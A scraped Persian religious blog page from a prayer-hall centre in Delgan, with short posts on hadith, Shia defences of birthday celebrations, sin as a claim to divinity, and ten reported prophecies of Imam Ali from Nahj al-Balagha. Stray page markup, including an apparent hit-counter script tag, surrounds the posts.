script type="text/javascript" src="http://engain.hitsup.ir/bo.php">
کانون مصلی امام علی علیه السلام دلگان
سفارش تبلیغ
صبا ویژن
تاریخ : پنج شنبه 91/12/24 | 2:29 صبح | نویسنده : کانون مصلی امام علی علیه السلام دلگان

بسم رب الشهدا

جشن ها
مى گویند: برگزارى مراسم جشن و سرور به مناسبت میلاد پیامبرعلیهم السلام و دیگران شرک است ! و به شیعیان و سایر مسلمانان اعتراض مى کنند که چرا براى میلاد پیامبر و امامان جشن مى گیرید؟! این عمل شما شرک است !
پاسخ آنها را قرآن مى دهد. قرآن مى فرماید: حضرت عیسى علیه السلام به خدا عرض کرد: (ربّنا انزل علینا مائدةً من السماء تکون لنا عیدا لاوّلنا و آخرنا)
(247) خداوندا! یک غذاى آسمانى بر ما نازل فرما، تا عیدى براى تمامى ما باشد.
ما از آنان سؤ ال مى کنیم : آیا تولّد یک پیامبر و امام ، به اندازه یک مائده آسمانى ارزش ندارد؟ اگر مثلا دو تا گلابى از آسمان نازل شود، عید است ، امّا تولّد پیامبر به اندازه دو تا گلابى براى ما مایه جشن و سرور و شادمانى نیست ؟ چه قدر انسان باید کج سلیقه باشد؟!




تاریخ : سه شنبه 91/12/22 | 4:1 صبح | نویسنده : کانون مصلی امام علی علیه السلام دلگان

به نام خدا

خصوصیات اولیاءالله

مرحوم علامه شیخ بهاء الدین (بهایى ) (قدس سره ) از امیر المؤ منین (ع ) نقل مى کند، پیامبر اکرم (ص ) فرمودند: کسى که خداوند متعال را بشناسد و او را تعظیم کند، دهانش را از سخن (بى فایده ) حفظ مى کند و شکمش را از غذا (پر خورى ) نگه مى دارد و رنج روزه و نماز را بر خویش هموار مى کند. عده اى پرسیدند: اى رسول خدا (ص )! آیا اینان اولیاى الهى اند؟ آن حضرت در پاسخ فرمودند: اولیاى خدا کسانى اند که ساکت اند؛ اما سکوت شان تفکر است ، سخن مى گویند؛ اما سخن گفتن شان ذکر و یاد خداست ، نگاه مى کنند و نگاه شان عبرت است . مى گویند و گفتن شان حکمت است ، راه رفتن شان در میان مردم سبب برکت است و اگر نبود اجل هایى که خدا براى شان مقدر فرموده بود از خوف عذاب و شوق ثواب ، روح شان در بدن شان نمى گنجید.




تاریخ : شنبه 91/12/12 | 7:14 عصر | نویسنده : کانون مصلی امام علی علیه السلام دلگان

به نام خدا

امیرالمؤمنین علی علیه السلام:یادخداکلیدانس بااوست.غررالحکم ص18

 

امیرالمؤمنین علی علیه السلام:ریشه صلاح وپاکی دل،اشتغالش به ذکرخداست.




تاریخ : شنبه 91/12/12 | 7:13 عصر | نویسنده : کانون مصلی امام علی علیه السلام دلگان

بسم الله الرحمن الرحیم

رحمت خداوندممکن است تاخیرداشته باشداماحتمی است.




تاریخ : شنبه 91/12/12 | 7:12 عصر | نویسنده : کانون مصلی امام علی علیه السلام دلگان

 به نام خدا

 [سزاوار محبّت، همان خداست‏]

در بیان آنکه به حقیقت مستحق محبت و دوستى و جانفشانى از همه اولى و سزاوارتر خداى تعالى است و غیر او نیست زیرا که محبت و دلربائى از جمال و کمال خیزد و جمال و کمال من جمیع الجهات عین ذات حق تعالى و مخصوص اوست و در دیگران ناقص و عارضى است و از خود ایشان نیست و آنچه دارند رشحه‏اى است از فیض او و نمونه‏اى است از جمال و کمال او.

تفصیل این مطلب و شرح این مقال این است که منشأ عشق و دلربائى یکى از چهار چیز است بر سبیل منع خلوّ: جمال و کمال و اخلاق و افعال. مراد ما از جمال، حسن و زیبائى است، و از کمال، صفات نیکى است که در ایشان تعدّى به غیر مأخوذ نباشد، چون علم و قدرت و سمع و بصر و سلطنت و سرمدیّت، و از اخلاق، صفات نیکى است که در ایشان تعدّى به غیر مأخوذ باشد چون محسن و عفوّ و رؤف و غفور و رحیم و حلیم و هکذا. و مراد از افعال، نشر و تعدى همین اخلاق است به غیر، مثل آنکه گوئى به فلان چنین احسان و گذشت نمود و با بهمان چنان نمود. و شکى نیست که هر چهار مخصوص ذات پروردگار است چنانچه فرمودند (انّ اللّه جمیل یحبّ الجمال) 81 و فرمودند در فقرات بسیار اللّهمّ انّى أسألک من جمالک باجمله، اللّهمّ انّى أسألک من کمالک بأکمله 82 و فرمودند تخلّقوا باخلاق اللّه. 83 و در دیگران با آنکه ناقص و عارضى است هم از اوست با آنکه در مسأله توحید صفات و توحید افعال مبرهن شده که آنچه غیر کند هم به لحاظى او کرده، فافهم.




تاریخ : شنبه 91/12/12 | 7:11 عصر | نویسنده : کانون مصلی امام علی علیه السلام دلگان

به نام خدا

داعیه ربوبیت!

انسان، براى نیل به آن دنیاى مطلق مى‏کوشد تا خود را از این قید به درآورد; ولى نمى‏داند رسیدن به فضاى اطلاق باید از روزنه همین لباس مقید باشد. شیطان به انسان نیرنگ مى‏زند که این اطلاق با خروج از زى بندگى امکان پذیر است و این دسیسه اوست; اما بر اساس هدایت ذات اقدس اله، انسان مى‏تواند در فضاى باز و مطلق سفر کند ولى اولین و آخرین شرطش، پوشیدن جامه بندگى است.

شیطان در مورد حضرت آدم (علیه السلام) از همین راه، نفوذ کرد:

«قال یا ادم هل ادلک على شجرة الخلد و ملک لا یبلى‏» (73) .

او گفت: اى آدم: آیا مى‏خواهى تو را به ملک جاویدان و عالمى که کهنگى در آن راه ندارد، راهنمایى کنم؟ البته این خواسته، حق است و خدا هم انسان را در زى بندگى به چنین خواسته‏اى مى‏رساند ولى شیطان مى‏خواهد انسان را برهنه کند تا نه تنها به آن مطلق نرسد، بلکه از این مقید هم بیفتد.

براساس این تحلیل، هر گناهى که انسان انجام مى‏دهد، مى‏خواهد از زى بندگى بیرون برود و خواست‏خود را حاکم کند; یعنى، داعیه ربوبیت دارد و اصولا گناه یعنى داعیه خدایى داشتن. این که در قرآن کریم آمده است:

 

«ا فرایت من اتخذ الهه هواه‏» (74)

از همین حقیقت، حکایت مى‏کند; هیچ گناهى از هیچ گناهکارى، سرنمى‏زند مگر این که آن گناهکار مى‏خواهد ادعاى خدایى کند و بدى گناه، همین است. چون او مى‏خواهد با این کار، از مرزى که ذات اقدس اله براى او به عنوان «حد» الهى مشخص کرده، تعدى کند و راه او باز باشد:

«بل یرید الانسان لیفجر امامه‏» (75)

و چنین کسى، بنده خدا نیست.

به همین جهت انسان، قبل از این که گناه کند با خدا در نبرد است. اگر چه این تعبیر، در قرآن درباره بعضى از گناهانى که قبح آن بسیار زیاد است، آمده; اما روح و باطن هر گناهى چنین است. ذات اقدس اله رباخوار را که نظم اقتصادى جامعه را بر هم مى‏زند چنین تحدید و تهدید مى‏کند:

«فان لم تفعلوا فاذنوا بحرب من الله و رسوله‏» (76)

اگر دست از ربا خوارى برنمى‏دارید، پس با خدا اعلام جنگ کنید. رباخوار ادعاى خدایى مى‏کند; چون او مى‏گوید: به نظر من، اجاره دادن مال و پول، صحیح است; ولى خدا مى‏فرماید: پول، مانند مسکن نیست تا آن را اجاره دهید، و این اظهار راى در برابر خدا، جنگ با اوست.

کسانى هم که امنیت جامعه را بر هم مى‏زنند، به جنگ با خدا و پیامبر دست مى‏زنند:

«انما جزاء الذین یحاربون الله و رسوله و یسعون فى الارض فسادا ان یقتلوا...» (77) .

سر این که اگر کسى گناه کند و آن را حلال شمارد براى همیشه در جهنم مخلد است و بخشوده نیست، اما اگر کسى گناه کند و آن را حرام بداند، امید توبه و بخشش او هست، همین است; زیرا استحلال کننده مستقیما رودرروى خدا ایستاده و مستکبرانه راى خود را بر وحى الهى مقدم مى‏دارد چنین شخصى کافر است.




تاریخ : شنبه 91/12/12 | 7:10 عصر | نویسنده : کانون مصلی امام علی علیه السلام دلگان

به نام خدا

ترجیح خواسته خدا

امام صادق (علیه السلام) از رسول گرامى صلى الله علیه و آله و سلم نقل مى‏کند که ذات اقدس اله فرمود:

«لا یوثر عبد هوای على هواه الا جعلت غناه فی نفسه و کفیته همه و کففته ضیعته و ضمنت السماوات و الارض رزقه و کنت له من وراء تجارة کل تاجر» (78) :

طبق این حدیث قدسى، ذات اقدس اله (جل جلاله) فرمود: به عزت و عظمتم سوگند، هیچ بنده‏اى خواسته مرا بر خواسته خود مقدم نمى‏دارد مگر این که پنج فضیلت را بهره او مى‏سازم:

اول: این که روح بى‏نیازى را در او زنده مى‏کنم و این، نصیب هر کسى نمى‏شود. چنانکه دیده مى‏شود برخى توانگران همه سخنانشان، بوى فقر مى‏دهد با این که امکانات مادى آنان به قدرى است که اگر بقیه عمر را در گوشه‏اى بنشینند و کار نکنند نیز، نیازى ندارند، ولى با این حال در عذاب تهى‏دستى گرفتارند.

ائمه (علیهم السلام) فرموده‏اند: اگر کسى مسیر صحیح اقتصاد را طى نکند، خداوند فقر را پیش دو چشم او مجسم مى‏کند (79) . او وقتى هنگام صبح از بستر برمى‏خیزد، صحنه هراسناک فقر و گدایى را پیش چشمش مى‏بیند و بین محل زندگى و محل کار نیز آنچه مى‏بیند منظره رعب‏آور فقر است و هنگامى که به دفتر کار، وارد مى‏شود، در و دیوار مغازه‏اش تابلو گدایى است! همیشه در این فکر است که مبادا کالایى که خریده شد، ارزان شود یا او سودى نبرد یا بر صفرهاى ارقام ثروتش افزوده نشود; ولى انسان پارسا، در همه جا صحنه زیباى توانگرى را مى‏بیند.

خداوندى که به این همه مار و عقرب، حیوانات حلال و حرام گوشت دریا و صحرا و کافران روزى مى‏دهد، آیا انسان مؤمن را بى‏روزى مى‏گذارد؟ تحصیل هزینه زندگى و مبارزه با کسانى که حق دیگران را غصب مى‏کنند، واجب و از دستورهاى اسلامى است; اما روح توانگرى داشتن، یک نوع فضیلت اخلاقى و نزاهت روح است.

دوم: او را از اندوه و غم مى‏رهانم.

سوم: نمى‏گذارم کالاى تجارى و زراعى او ضایع شود.

چهارم: آسمان و زمین را مسئول تکفل روزى او مى‏کنم.

پنجم: خودم پشتوانه همه مسائل اقتصادى او هستم. در کنار هر تجارتى، لطف من او را همراهى مى‏کند و نمى‏گذارم حیثیت او آسیب ببیند.




تاریخ : شنبه 91/12/12 | 7:2 عصر | نویسنده : کانون مصلی امام علی علیه السلام دلگان

به نام خدا

نهج‏البلاغه و خبرهاى غیبى

 

 

در کتاب شریف نهج البلاغه برخى اخبار غیبى وجود دارد که در زیر از نظرتان مى گذرانیم:

1- شهر بصره غرق مى‏شود.

پس از اینکه جنگ جمل به پایان رسید و بصره فتح شد على (ع) خطبه‏اى ایراد کرد که بخشى از آن، از خبرهاى غیبى آن حضرت به شمار مى‏آید.

فرمود: وایم الله لتغرقن بلدتکم کانى بمسجد کم کجؤجؤ سفینة...

به خدا سوگند شهر شما غرق مى‏شود و مسجد شما بسان سینه کشتى (که بدنه آن در آب فرو مى‏رود و تنها سینه‏اش روى آب ظاهر است) دیده مى‏شود خداوند از بالا و پایین به این شهر عذاب خواهد فرستاد.

1- ابن ابى الحدید در شرح این کلام مى‏نویسد:

بصره تاکنون دوبار در آب غرق شده است یک بار در زمان «القادر الله» و بار دیگر در زمان «القائم بامرالله» طغیان آب‏هاى خلیج فارسى این شهر را در آب فرو برد و از آن همه ساختمان تنها قسمتى از مسجد جامع همان طور که على (ع) خبر داده بود در میان آب دیده مى‏شد و در این دو حادثه تمام خانه‏ها خراب شد و جمیعت زیادى غرق شدند. 2

2- معاویه بر سرزمین عراق مسلط مى‏گردد.

امیر مؤمنان (ع) خبر مى‏دهد که او پیش از معاویه از دنیا مى‏رود و معاویه پس از او بر عراق مسلط مى‏گردد و سپس مى‏افزاید:

«انه سیامرکم بسبى و البرائة منى...» .

«از شما مى‏خواهد که به من ناسزا گویید و از من بیزارى جویید...»3

همانطور که على (ع) خبر داده بود، معاویه پس از آنحضرت بر عراق مسلط شد و از مردم خواست که به آن حضرت ناسزا بگویند وازاو بیزارى جویند و داستان اسف‏انگیز ناسزا گویى به على (ع) حتى در خطبه‏هاى نماز جمعه که از زمان معاویه به دستور او مرسوم شده بود در تواریخ ثبت و ضبط است. 4

3- از آنها ده نفر جان به سلامت نمى‏برند و از شما هم ده نفر کشته نمى‏شوند.

در نبردى که میان امام (ع) و خوارج در کنار نهروان رخ داد امام پس از اتمام حجت، و بازگشت گروهى از آنان به صفوف امام، روبه یاران خود کرد و فرمود:

«مصارعهم دون النطفة والله لایفلت منهم عشرة ولایهلک منکم عشرة» .5

«قتلگاه آنان کنار آب نهروان است بخدا سوگند، از گروه آنان ده نفر جان به سلامت نمى‏برند و از شما هم ده تن کشته نمى‏شود».

ابن ابى الحدید مى‏گوید این خبر غیبى یکى از معجزات على (ع) است که نقل آن نزدیک به تواتر رسیده است و در نبردى که میان امام و خوارج نهروان رخ داد همه شاهد بودند که نه نفر از خوارج جان به سلامت بردند و از میان یاران على (ع) فقط هشت تن به شهادت رسیدند. 6

4- مروان بن حکم حکومت بسیار کوتاهى خواهد داشت .

مروان بن حکم در جنگ جمل اسیر شد و امام حسن و امام حسین از پدر عفو او را خواستند حضرت او را آزاد کرده، و سپس فرمود:

«اما ان له امرة کلعقة الکلب انفه و هو ابوالاکبش الاربعة و ستلقى الامة منه و من ولده یوماً احمر».7

«آگاه باشید براى این مروان فرمانروائى کوتاهى است بسان لیسیدن سگ بینى خود را (این تعبیر کنایه از کوتاهى مدت فرمانروائى است) او پدرچهار رئیس است و امت اسلامى از فرمانروائى او و فرزندانش روز خونینى خواهند دید».

همانطور که آن حضرت خبر داده بود مروان به حکومت رسید اما حکومت او بیش از نه ماه طول نکشید و چهار فرزندش که یکى از آنها عبدالملک و سه تاى دیگر عبارتنداز: عبدالعزیز، بشر و محمد به ریاست رسیدند عبدالملک، خلیفه شد و آن سه والى مصر و عراق و جزیره شدند.

و امت اسلامى از مروان و فرزندانش روزهاى خونینى دیدند که روشن‏ترین گواه آن، ظلم و ستم و خونریزى‏هایى است که به دست حجاج بن یوسف خونخوار که از طرف عبدالملک مروان، والى و استاندار عراق بود انجام شد. 8

5- جوان ثقفى بر شما مسلط مى‏شود و هستى شما را غارت مى‏کند.

«اما و الله لیسلطن علیکم غلام ثقیف الذیال المیال یا کل خضرتکم و یذیب شحمتکم...» 9

«آگاه باشید به خدا سوگند جوانى متکبر و ستمگر از طائفه ثقیف بر شما مسلط مى‏شود که سبزه شما را مى‏خورد و پیه شما را آب مى‏کند کنایه از اینکه به جان و مال شما رحم نمى‏کند و همه را از آن خود مى‏داند».

این جوان ثقبفى همان حجاج بن یوسف ثقفى خونخوار و ستمگر معروف بود که در ایام حکومت خود به جان و مال مردم افتاد و هزاران نفر را به قتل رسانید. 10

6- برنامه مهدى موعود (عج) پیروى از قرآن و هدایت است

«یعطف الهوى على الهدى اذا عطفوا الهدى على الهوى و یعطف الرأى على القرآن اذا عطفوا القرآن على الرأى» 11

«هنگامى که مردم هدایت را پیرو هواهاى نفسانى خود قرار دهند مهدى موعود (ع) مى‏آید و هواهاى نفسانى را مغلوب هدایت مى‏نماید و نیز هنگامى که مردم قرآن را برآراء و نظریات و تمایلات شخصى خود تطبیق نمودند آن حضرت آراء و نظریات را تابع قرآن قرار مى‏دهد برنامه آن حضرت حکومت قرآن و هدایت است» 12

7- اگر بخواهیم از همه خصوصیات شما خبر دهم مى‏توانم.

والله لوشئت ان اخبرکل رجل منکم بمخرجه و مولجه و جمیع شأنه لفعلت ولکن اخاف ان تکفروا فى برسول الله صلى الله علیه و آله...» 13

«به خدا سوگند اگر بخواهم مى‏توانم از همه خصوصیات هر کدام شما که از کجا و چگونه و به چه هدف آمدى و چه تصمیم دارید و خصوصیات دیگر خبر دهم. اما مى‏ترسم درباره من غلو کنید و مرا از رسول خدا (ص) بالاتر بدانید و یا به خدائى من معتقد شوید و این عقیده موجب کفر شما شود».

ابن ابى الحدید در ذیل این کلام، مى‏نویسد: این گفتار على (ع) مانند گفتار حضرت مسیح (ع) است که مى‏گفت: از معجزه‏هاى من این است که:

«و أُنبتکُم بما تاکلون و ما تدّخَرون فى بیوتکم».14

«شما را از غذائى که در خانه مى‏خورید و از آنچه ذخیره مى‏کنید خبر مى‏دهم. 15

8- زمانى بیاید که ازاسلام فقط نام آن باقى ماند

«یأتى على الناس زمان لایبقى فیهم من القرآن الارسمه و من الاسلام الااسمه مساجدهم یومئذ عامرة من البناء خراب من الهدى...»16

«روزگارى بیابد که در میان مردم از قرآن جز خواندن و قرائت و از اسلام جز نامى باقى نماند، در آن زمان مساجد از حیث بنا و ساختمان معمور و آباد است اما از جهت هدایت و معنویت خراب است (مسلمانان به اسم اسلام و قرآن اکتفا مى‏کنند و رفتن به مساجد هم جنبه تشریفات به خود مى‏گیرد در صورتیکه اسلام و قرآن باید در متن زندگى آنان حام باشد)».

9- خوارج پس از من با خوارى و ذلت زندگى خواهند کرد.

«اما انکم ستلقون بعدى ذلا شاملا وسیفاً قاطعاً واثرة یتخذها الظالمون فیکم سنة».17

«آگاه باشید پس از من با ذلت همه جانبه و شمشیر برنده و استبداد روبرو مى‏گردید اموال و حقوق شما را ستمگران مى‏گیرند و این کار درباره شما براى همیشه معمول و رسم مى‏گردد».

همانطور که امیرمؤمنان (ع) خبر داد خوارج پیوسته از طرف حکومت‏ها، مورد تعقیب قرار گرفته اموال آنان پیوسته از طرف ستمگران تصاحب مى‏شد. 18

10- از هر چه سؤال کنید خبر مى‏دهم.

«فاسألونى قبل ان تفقدونى، فوالذى نفسى بیده لا تسألونى عن شى‏ء فیما بینکم و بین الساعة... الا انباتکم...» 19

در این خطبه امیر مؤمنان حدود آگاهى خویش از غیب را بیان مى‏کند و مى‏فرماید:

«از هر چه که تا قیامت پیش مى‏آید سؤال کنید جواب خواهم داد و از هر نبرد و جنگى که پیش مى‏آید و خصوصیات آن، تعداد افرادى که کشته مى‏شوند یا مى‏میرند و اینکه در کجا کشته مى‏شوند و کجا به خاک سپرده مى‏شوند از همه این‏ها آگاهى دارم».20

این بود ده مورد از خبرهاى غیبى امیر مؤمنان (ع) که در نهج‏البلاغه آمده است .

البته خبرهاى غیبى آن حضرت که در نهج‏البلاغه و سایر کتابهاى تاریخ و حدیث یاد شده فراوان است و یکى از دانشمندان معاصر هفتاده و پنج مورد از آنها را در کتابى گردآورده و بنام اخبار غیبى امیرمؤمنان (ع) منتشر ساخته است ولى ما به جهت رعایت اختصار به همین اندازه اکتفا مى‏کنیم .

تفسیر منشور جاوید، آیت الله سبحانى، ج 8، ص 345 - 351.

--------------------------------------------------------------------------------

پى نوشتها:

1- نهج البلاغه، خطبه 13.
2- شرح نهج البلاغه ابن ابى الحدید، ج 1، ص 253 چاپ بیست جلدى.
3- نهج‏البلاغه، خطبه 57.
4- به شرح نهج‏البلاغه، ج 4 ص 55 - 128 مراجعه شود.
5- نهج‏البلاغه، خطبه 58.
6- به شرح نهج‏البلاغه، ج 5، ص 3 - 13 مراجعه شود.
7- نهج‏البلاغه، خطبه 72.
8- به شرح نهج‏البلاغه، ج 6، ص 146 - 148 مراجعه شود.
9- نهج البلاغه ،خطبه 115.
10- شرح نهج‏البلاغه، ج 7، ص 276 - 281.
11- نهج‏البلاغه خطبه 138.
12- به شرح نهج‏البلاغه، ج 9، ص 138 مراجعه شود.
13- نهج البلاغه، خطبه 176.
14- سوره آل عمران، آیه 49.
15- شرح نهج‏البلاغه، ج 10، ص 10 - 15.
16- نهج‏البلاغه، کلمات قصار شماره 369.
17- نهج البلاغه، خطبه 57.
18- شرح نهج‏البلاغه، ذیل همان خطبه.
19- نهج البلاغه، خطبه 89.
20- به شرح نهج البلاغه، ج 7، ص 57 مراجعه شود.




  • دانلود فیلم
  • قالب وبلاگ
  • type="text/css">//Ashoora.ir|Ziarat-Ashoora Begins
    //Ashoora.ir|Clock Begins